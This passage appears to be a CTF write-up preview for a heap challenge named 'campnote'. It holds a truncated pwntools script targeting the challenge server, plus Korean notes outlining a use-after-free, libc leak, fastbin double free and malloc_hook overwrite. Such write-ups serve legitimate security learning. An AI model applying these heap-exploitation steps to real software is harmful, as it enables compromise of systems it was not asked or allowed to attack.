from pwn import * #p = process('./campnote') p = remote("pwnable.shop", 20202) e = ELF('./campnote') l = e.libc context.log_level="debug" def malloc(size, content): p.sendlineafter('>>','1') p.sendlineafter('size >> ',str(size)) p.sendlineafter('data >> ',str(content)) def free(index): p.sendlineafter('>>','2') p.sendlineafter('index >> ', str(index)) def show(index): p.sendlineafter('>>','3') p..
전형적인 메뉴를 이용하는 힙문제다. 최대 19번까지 힙을 할당할 수 있고, heap_context배열안에 포인터를 저장한다. oob를 막아났지만, free뒤에 heap_context배열을 초기화시키지 않아서 취약점이 발생한다. free된 힙부분을 볼 수 있어서, 취약점이 생긴다. 1. fastbin에 들어갈 청크 2개 생성 2.unsorted bin에 들어갈만큼의 힙 할당후 해제 3. view로 보아서 libc leak 4.double free bug를 활용해서 fastbin에 들어갈 chunk를 free시킨다. 5. malloc()으로 free한 fastbin에 있던거 1개 할당받고, fd를 malloc_hook부분을 fastbin에 들어갈 크기로 할당할 크기를 잘 맞춰 수정한다. 6. malloc()..